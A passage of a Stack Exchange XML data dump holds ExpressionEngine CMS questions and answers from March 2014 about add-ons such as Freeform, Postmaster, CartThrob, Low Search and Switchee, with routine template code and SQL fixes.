  <row Id="19978" PostTypeId="2" ParentId="19967" CreationDate="2014-03-04T19:26:55.130" Score="1" Body="&lt;p&gt;I remember looking into this a while back but ultimately did not need to implement it. I think it's not possible to do with Freeform on its own but you could accomplish it with Postmaster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may also be possible to do something with MX Notify Control but I would certainly look at Postmaster first as it's extremely powerful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Reading your question again I realised I'm not sure I understand what you're asking. Do you want the same email sent to multiple addresses or multiple emails sent to the same address?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-03-04T19:57:26.300" LastActivityDate="2014-03-04T19:57:26.300" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19979" PostTypeId="2" ParentId="19861" CreationDate="2014-03-04T19:31:18.317" Score="1" Body="&lt;p&gt;The issue was that the member had the ability to change file upload preferences on their own. They used that power to remove their own access and so the system was confused.&lt;/p&gt;&#xA;" OwnerUserId="1085" LastActivityDate="2014-03-04T19:31:18.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19980" PostTypeId="2" ParentId="19957" CreationDate="2014-03-04T19:34:32.050" Score="4" Body="&lt;p&gt;So thanks to Low stepping in and doing some testing with me, we worked out that the problem was down to an extension hook for Structure that was messing up ALL pagination across the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low performed the following sql query to find the hook in question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM exp_extensions WHERE hook = 'channel_module_create_pagination'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then removed the Structure hook with the following query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_extensions SET enabled = 'n' WHERE extension_id = 148;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that in my particular case the Structure related extension_id was 148 - yours will no doubt be different (should anyone else come across this).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that is removed, all appears to be working as expected again.&lt;/p&gt;&#xA;" OwnerUserId="308" LastActivityDate="2014-03-04T19:34:32.050" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19981" PostTypeId="2" ParentId="19967" CreationDate="2014-03-04T19:34:59.457" Score="2" Body="&lt;p&gt;It's not possible to send to multiple addresses when using the recipients=&quot;yes&quot; parameter. I would recommend setting up an address that recieves the message and then automatically forwards it to all the desired recipients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify &#xA;recipients1=&quot;fakefoward@domain.com&quot;&#xA;reciipients2=&quot;fakeforward2@domain.com&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in fakeforward@domain.com email settings have it forward to all the emails you need. Same with fakeforward2@domain.com&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-03-04T19:34:59.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19982" PostTypeId="2" ParentId="19967" CreationDate="2014-03-04T21:17:15.907" Score="2" Body="&lt;p&gt;I don't believe this is possible out of the box. We've solved this previously by writing a Freeform hook to handle the multiple notifications. See: &lt;a href=&quot;http://www.solspace.com/docs/freeform/extension_hooks/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/extension_hooks/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1896" LastActivityDate="2014-03-04T21:17:15.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19983" PostTypeId="1" CreationDate="2014-03-04T21:25:01.180" Score="1" ViewCount="13" Body="&lt;p&gt;I'm porting a wordpress site in ee to add some functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual post structure is site/year/mobth/post&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The post are in good position in search engine, so I want mantain this structure, but don't imagine how can do that.&lt;/p&gt;&#xA;" OwnerUserId="2816" LastActivityDate="2014-03-04T21:25:01.180" Title="Port old site url structure" Tags="|url|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19984" PostTypeId="1" CreationDate="2014-03-04T21:42:39.570" Score="1" ViewCount="134" Body="&lt;p&gt;The official Supported Payment Gateways page suggests Stripe can only be used in North America, but not in Europe:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cartthrob.com/docs/pages/supported_payment_gateways/index.html&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/pages/supported_payment_gateways/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if this page simply hasn't been updated since Stripe started supporting markets outside North America.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can Stripe be successfully set up as a payment gateway with CartThrob for UK stores? And does it work with all the currencies supported by Stripe?&lt;/p&gt;&#xA;" OwnerUserId="2815" LastActivityDate="2014-03-07T08:54:30.600" Title="Does CartThrob support Stripe as a gateway in the UK?" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19985" PostTypeId="2" ParentId="19974" CreationDate="2014-03-04T22:25:40.427" Score="1" Body="&lt;p&gt;There are a lot of Javascript related issues surfacing with 2.8, and I believe MX Title Control is highly JS-dependent, so this isn't surprising.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might try applying the patch posted on this Bug Tracker: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20165&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/20165&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-03-04T22:25:40.427" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19986" PostTypeId="2" ParentId="19892" CreationDate="2014-03-04T23:04:35.273" Score="1" Body="&lt;p&gt;Follow-up and fix from P&amp;amp;T support... 'about to be' released v2.2.5 solved the issue.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the most common error for this is because some of the files that are&#xA;  registered for Assets fields are missing and during the update to&#xA;  Assets 2.x, Assets does not know where in folder structure the file&#xA;  belongs, so it gets a folder_id of NULL. After that, there's a&#xA;  migration that sets the folder_id column to NOT NULL, so that produces&#xA;  the error you're having about data being truncated.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Then, when you run it again, some tables have been modified already,&#xA;  but Assets begins the process anew and that produces the second error&#xA;  :)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Try the attached 2.2.5 version which is not yet released - it should&#xA;  work for you. You will have to revert the DB to the state it was&#xA;  before the failed update, though.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="739" LastActivityDate="2014-03-04T23:04:35.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19987" PostTypeId="2" ParentId="11017" CreationDate="2014-03-04T23:06:45.580" Score="1" Body="&lt;p&gt;Follow-up and fix from P&amp;amp;T support... 'about to be' released v2.2.5 solved the issue.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the most common error for this is because some of the files that are&#xA;  registered for Assets fields are missing and during the update to&#xA;  Assets 2.x, Assets does not know where in folder structure the file&#xA;  belongs, so it gets a folder_id of NULL. After that, there's a&#xA;  migration that sets the folder_id column to NOT NULL, so that produces&#xA;  the error you're having about data being truncated.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Then, when you run it again, some tables have been modified already,&#xA;  but Assets begins the process anew and that produces the second error&#xA;  :)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Try the attached 2.2.5 version which is not yet released - it should&#xA;  work for you. You will have to revert the DB to the state it was&#xA;  before the failed update, though.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="739" LastActivityDate="2014-03-04T23:06:45.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19988" PostTypeId="2" ParentId="19977" CreationDate="2014-03-04T23:38:26.247" Score="1" Body="&lt;p&gt;Could you use some kind of entry duplication add-on and only change the desired fields?&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2014-03-04T23:38:26.247" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19990" PostTypeId="1" CreationDate="2014-03-05T00:28:08.877" Score="2" ViewCount="990" Body="&lt;p&gt;How do I implement an Ajax implementation on a Channel Form, especially when there is a file needed to be uploaded?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I look at an &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/examples.html&quot; rel=&quot;nofollow&quot;&gt;example&lt;/a&gt;, but I don't think I really understand how it works.&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2017-02-24T09:43:20.073" Title="Channel Form - Submit via Ajax with file upload" Tags="|channel-form|ajax|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19991" PostTypeId="1" CreationDate="2014-03-05T02:12:38.883" Score="0" ViewCount="131" Body="&lt;p&gt;With Solspace User the forgot password function is returning the EE form error: &lt;strong&gt;&quot;Unable to send email at this time.&quot;&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the forgot password email &lt;strong&gt;is being sent&lt;/strong&gt; to the member who requested it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Postmaster to send all system emails (through Mandrill) if that makes a difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What would cause that error to display, even if the email is being sent correctly?&lt;/strong&gt; &lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-03-05T02:12:38.883" Title="Solspace User forgot password returns error: &quot;Unable to send email at this time&quot;" Tags="|solspace|solspace-user|postmaster|forgot-password|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19992" PostTypeId="1" AcceptedAnswerId="20116" CreationDate="2014-03-05T02:49:22.433" Score="1" ViewCount="437" Body="&lt;p&gt;Using Freeform (free version) for two forms on my site. Both forms send a message to admin as well as a confirmation back to the sender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Postmaster setup to send all system emails, so all Freeform notifications are routed through Postmaster to be sent (through Mandrill, not EE).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get strange results in my email sent emails like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This is a multi-part message in MIME format. Your email application&#xA;  may not support this format. --B_ALT_53168daed37f9 Content-Type:&#xA;  text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Followed by a text only version of the email, and then...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;--B_ALT_53168daed37f9 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: quoted-printable = =20&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My HTML version of the email is also slightly disfigured and loses its CSS styling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue appears to be that Freeform is sending a multi-part message and headers which is then being embedded inside the Postmaster email template (which is HTML). Even if I make the Postmaster template blank and include all the HTML in the Freeform template, I still get the same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way around this issue that I can see is to force Freeform to not send a multi-part message (and no headers) so they don't double-up or conflict with what Postmaster sends out. Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, how else can I make Freeform compatible with Postmaster? If I can't resolve this there's no way I can use Postmaster to send me system emails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just wanted to note that this is specifically a Freeform &amp;amp; Postmaster issue. All other system emails send out fine with this setup so it must be due to the way Postmaster formats the email.&lt;/p&gt;&#xA;" OwnerUserId="982" LastEditorUserId="982" LastEditDate="2014-03-06T20:43:42.467" LastActivityDate="2014-03-09T15:33:24.867" Title="Solspace Freeform sent through Postmaster returns multi-part MIME format error" Tags="|solspace-freeform|solspace|postmaster|html-email|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="19993" PostTypeId="1" CreationDate="2014-03-05T10:39:29.143" Score="1" ViewCount="62" Body="&lt;p&gt;Can i do filtration of channel files extension with low search ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to search filtration of document types with channel files such as: pdf, doc. ppt, jpeg, etc using low search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know, if you have solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE: 2.7.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low Search: 2.4.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel Files: 5.2.8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2664" LastActivityDate="2014-03-06T06:25:39.860" Title="How can i do filtration search of channel files extension with low search?" Tags="|search|low-search|filter|channel-files|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19994" PostTypeId="1" AcceptedAnswerId="20000" CreationDate="2014-03-05T10:52:28.990" Score="1" ViewCount="382" Body="&lt;p&gt;I was wondering.. can I use the same template to display the page in two different layouts? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and how you can switch from one layout to another without adding any segment? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it would be nice for me to use a simple query url, so that you have: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mysite.it/portfolio?=list&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mysite.it/portfolio?=thumb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I adopt this solution?&#xA;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT: This is a solution found (thanks to Andrew Fairlie and Jean St-Amand):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{get:view}&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;grid&quot; default=&quot;yes&quot;}&#xA;        {switchee variable=&quot;{get:tag}&quot; parse=&quot;inward&quot;}&#xA;            {case value=&quot;{get:tag}&quot;}&#xA;                &amp;lt;div data-role=&quot;infinite-scroll&quot; class=&quot;block-stack&quot;&amp;gt;&#xA;                {embed=&quot;portfolio/embed-tags&quot;} &#xA;                &amp;lt;/div&amp;gt;&#xA;            {/case}&#xA;            {case default=&quot;yes&quot;}&#xA;                &amp;lt;div data-role=&quot;infinite-scroll&quot; class=&quot;block-stack&quot;&amp;gt;&#xA;                {embed=&quot;portfolio/embed-ajax&quot; infinite_scroll_vars=&quot;category_id|category_name|segment_1|segment_2&quot; infinite_scroll_values=&quot;{segment_2_category_id}|{segment_2_category_name}|{segment_1}|{segment_2}&quot;} &#xA;                &amp;lt;/div&amp;gt;&#xA;            {/case}&#xA;        {/switchee}&#xA;    {/case}&#xA;    {case value=&quot;list&quot;}&#xA;        &amp;lt;div data-role=&quot;infinite-scroll&quot; class=&quot;block-stack&quot;&amp;gt;&#xA;        {embed=&quot;portfolio/embed-ajax-list&quot; infinite_scroll_vars=&quot;category_id|category_name|segment_1|segment_2&quot; infinite_scroll_values=&quot;{segment_2_category_id}|{segment_2_category_name}|{segment_1}|{segment_2}&quot;} &#xA;        &amp;lt;/div&amp;gt;&#xA;    {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2590" LastEditorUserId="2590" LastEditDate="2014-03-05T16:14:45.453" LastActivityDate="2014-03-05T16:14:45.453" Title="Two different layout for the same template" Tags="|ee2|templates|querystring|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19995" PostTypeId="1" CreationDate="2014-03-05T11:30:50.923" Score="2" ViewCount="141" Body="&lt;p&gt;I am looking for some advice if anyone can help please.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a potential project coming up that I would like to use EE CMS for with the addition of an e-commerce add-on, either CartThrob v2 or Store v2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have previously used both add-ons so I don't mind which one I use, however the project brief has a few areas that I am unsure of the best approach to build. Please see below:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Recently viewed products&lt;/li&gt;&#xA;&lt;li&gt;Product search filter (e.g. by size and or colour)&lt;/li&gt;&#xA;&lt;li&gt;Request a quote (for items that are not for sale due to complex variations, customer would add to a basket still but then send off for an email quote. Possibly using CT Wishlist?)&lt;/li&gt;&#xA;&lt;li&gt;Powerful site search for searching content as well as products again with filters&lt;/li&gt;&#xA;&lt;li&gt;Provide category gallery or list view with sortable column headers&lt;/li&gt;&#xA;&lt;li&gt;Dynamically created pdf datasheet, taking the products tabbed description/content and providing the customer with a link on the fly using the HTML/CSS&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on how to provide the above 6 items with either add-on would be appreciated. Looking through on first glance maybe CartThrob would be the best bet with it's wishlist add-on for the quote aspect?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Wes&lt;/p&gt;&#xA;" OwnerUserId="1339" LastActivityDate="2014-03-05T13:49:20.380" Title="Suitable e-commerce add-on?" Tags="|expresso-store|cartthrob|ecommerce|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19996" PostTypeId="1" AcceptedAnswerId="20002" CreationDate="2014-03-05T12:19:07.937" Score="3" ViewCount="475" Body="&lt;p&gt;So I am trying to set up a faceted search which is based on categories - but EE's default category parameters aren't clever enough for me with just the &lt;code&gt;&amp;amp;&lt;/code&gt; or &lt;code&gt;|&lt;/code&gt; separators, so I was wondering if I could do what I need to with Low Search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 5 category groups: Age, Artists, Type, Medium and Topic. In each of these is an unknown number of categories. I am displaying checkboxes on the front end for each category group, and have entries assigned to at least 1 category in each group. Here is my list of filters so you can see the options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yihjn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default view when nothing is ticked is all entries. If I tick 'Multiple' I want all entries categorised with 'Multiple' to show. When I have 'Multiple' and '8-10' ticked I would like everything categorised as both 'Multiple' &lt;strong&gt;and&lt;/strong&gt; '8-10' to show. So far so easy - but here is where EE's default breaks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tick 'Multiple', '8-10' and '11-14' I want to show everything that is categorised as 'Multiple' &lt;strong&gt;and&lt;/strong&gt; '8-10' &lt;strong&gt;or&lt;/strong&gt; 'Multiple' &lt;strong&gt;and&lt;/strong&gt; '11-14'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this makes sense and isn't too long winded - ask if something isn't clear and I'll try to clarify. Does anyone know if this is possible with Low Search, and if not - how might I go about it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1870" LastActivityDate="2015-04-28T23:19:29.913" Title="Faceted search with categories using Low Search" Tags="|categories|low-search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19997" PostTypeId="2" ParentId="19994" CreationDate="2014-03-05T12:37:32.627" Score="2" Body="&lt;p&gt;Seems like you ought to be able to handle it with &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;switchee&lt;/a&gt; using regex to determine which layout scenario is present in your URL, for example. I'm not a regex wiz so I won't pretend to know what patterns you would need - but it's switch case logic coupled with its support for regex is what made me think of it as a possible answer for you.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-03-05T12:37:32.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19998" PostTypeId="1" CreationDate="2014-03-05T12:55:50.740" Score="0" ViewCount="64" Body="&lt;p&gt;Running EE: 2.7.2 and CT: 2.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a packages channel in my CT configuration for product bundles. It's using the packages field. I'm trying to figure out why it makes the page run really slow in the backend when trying to add a new entry to that channel. &lt;strong&gt;This is also causing problems on our productions site: 508 Resource Limit Has Reached&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Debugging&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some debugging I've found that when I load the publish page first time around the PHP is processing for &lt;strong&gt;40 seconds&lt;/strong&gt; after the page has loaded. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It runs this query twice: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SELECT cd.*, ct.*, c.* FROM exp_channel_titles ct JOIN exp_channel_data cd ON cd.entry_id = ct.entry_id JOIN exp_channels c ON c.channel_id = ct.channel_id&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know your SQL you can tell this isn't exactly efficient. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then runs through a foreach and nested foreach about 2000 times. While it's doing all this I can't submit the form until it's finished. This is all before I've even searched for anything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I do finally search ('tray' in this example) for something it takes ~25-30 seconds to get results. It runs the query mentioned above 6 times and runs foreach around 1800 times. The length of the search term is relative to processing time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is this a problem that anyone else has experienced?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is it something that I'm doing wrong?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Or is it just bad code by the CT team?&lt;/strong&gt; &lt;/p&gt;&#xA;" OwnerUserId="1994" LastActivityDate="2014-09-26T22:40:00.663" Title="CartThrob packages field really slow" Tags="|cartthrob|packages|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19999" PostTypeId="1" AcceptedAnswerId="20001" CreationDate="2014-03-05T13:17:20.633" Score="0" ViewCount="771" Body="&lt;p&gt;Deleting channel entries is pretty straightforward in the EE Control Panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how do I do it via the frontend? Do I need to use the Channel Form tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there a native EE tag specifically for this?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-03-05T13:35:46.673" Title="Deleting Channel Entries in the Frontend" Tags="|channel-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20000" PostTypeId="2" ParentId="19994" CreationDate="2014-03-05T13:25:08.460" Score="2" Body="&lt;p&gt;I'm assuming you're referring to EE 2.8 layouts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It isn't possible to process layouts within a plugin or module tags so using an if statement or Switchee isn't going to work &lt;strong&gt;within the template itself&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However you could use something like Switchee as Jean St-Amand mentioned &lt;strong&gt;within the layout&lt;/strong&gt; to provide variations of that layout depending on the string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use the Mo'Variables &lt;code&gt;{get:parameter}&lt;/code&gt; tag to get it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your &lt;em&gt;layout template&lt;/em&gt; may look a bit like...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee case=&quot;{get:view}&quot;}&#xA;    {case value=&quot;list&quot; default=&quot;yes&quot;}&#xA;            {!-- Do whatever you need to do here --}&#xA;    {/case}&#xA;    {case value=&quot;thumb&quot;}&#xA;            {!-- Do whatever you need to do here --}&#xA;    {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However you might find it better to look into EE 2.8's new template routes which allows you to serve up different templates and layouts based on the URL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're worried about duplicate content with these 2 URLs you could set the canonical tag to be your preferred 'default' view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, this may be a job better suited to Stash lists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Useful pages&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/blog/entry/template-routes-in-expressionengine-2.8&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/blog/entry/template-routes-in-expressionengine-2.8&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/template_routes.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/urls/template_routes.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/template_route_manager.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/design/templates/template_route_manager.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/mo-variables&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/switchee&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aget_list%7D&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aget_list%7D&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-03-05T13:25:08.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20001" PostTypeId="2" ParentId="19999" CreationDate="2014-03-05T13:35:46.673" Score="1" Body="&lt;p&gt;There isn't a built in method for this, not even with channel forms to my understanding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first thought was to have a template such as  &lt;code&gt;/delete/{entry_id}/&lt;/code&gt; where &lt;code&gt;{entry_id}&lt;/code&gt; is what you wanted to remove. Of course, that template would need to check you had the correct permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That template would have an &lt;code&gt;{exp:query}&lt;/code&gt; module which would run the SQL to delete the entry. &lt;strong&gt;But that isn't possible&lt;/strong&gt; because &lt;code&gt;{exp:query}&lt;/code&gt; only allows for &lt;code&gt;SELECT&lt;/code&gt; statements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The alternative is to write a simple plugin &lt;code&gt;{exp:delete entry_id=&quot;segment_1&quot;}&lt;/code&gt; which would run that SQL for you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But I don't think any of this is a good idea.&lt;/strong&gt; It feels like it could open up security problems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The control panel's deleting is based on permissions and is well rounded; a front-end solution is likely to fall short.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-03-05T13:35:46.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20002" PostTypeId="2" ParentId="19996" CreationDate="2014-03-05T13:42:03.230" Score="3" Body="&lt;p&gt;Yep, that would be a job for &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#categories&quot; rel=&quot;nofollow&quot;&gt;the Categories filter&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each group of categories, use a &lt;code&gt;category:group_name&lt;/code&gt; parameter name to combine AND and OR matching. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories category_group=&quot;1&quot; style=&quot;linear&quot;}&#xA;  &amp;lt;label&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; name=&quot;category:group1[]&quot; value=&quot;{category_id}&quot;&#xA;    {if category_id IN ({low_search_category:group1})} checked=&quot;checked&quot;{/if} /&amp;gt;&#xA;    {category_name}&#xA;  &amp;lt;/label&amp;gt;&#xA;{/exp:channel:categories}&#xA;&#xA;{exp:channel:categories category_group=&quot;2&quot; style=&quot;linear&quot;}&#xA;  &amp;lt;label&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; name=&quot;category:group2[]&quot; value=&quot;{category_id}&quot;&#xA;    {if category_id IN ({low_search_category:group2})} checked=&quot;checked&quot;{/if} /&amp;gt;&#xA;    {category_name}&#xA;  &amp;lt;/label&amp;gt;&#xA;{/exp:channel:categories}&#xA;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And repeat for each other category group. Note: this code should be put inside the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags#form-tag&quot; rel=&quot;nofollow&quot;&gt;Form tag&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" 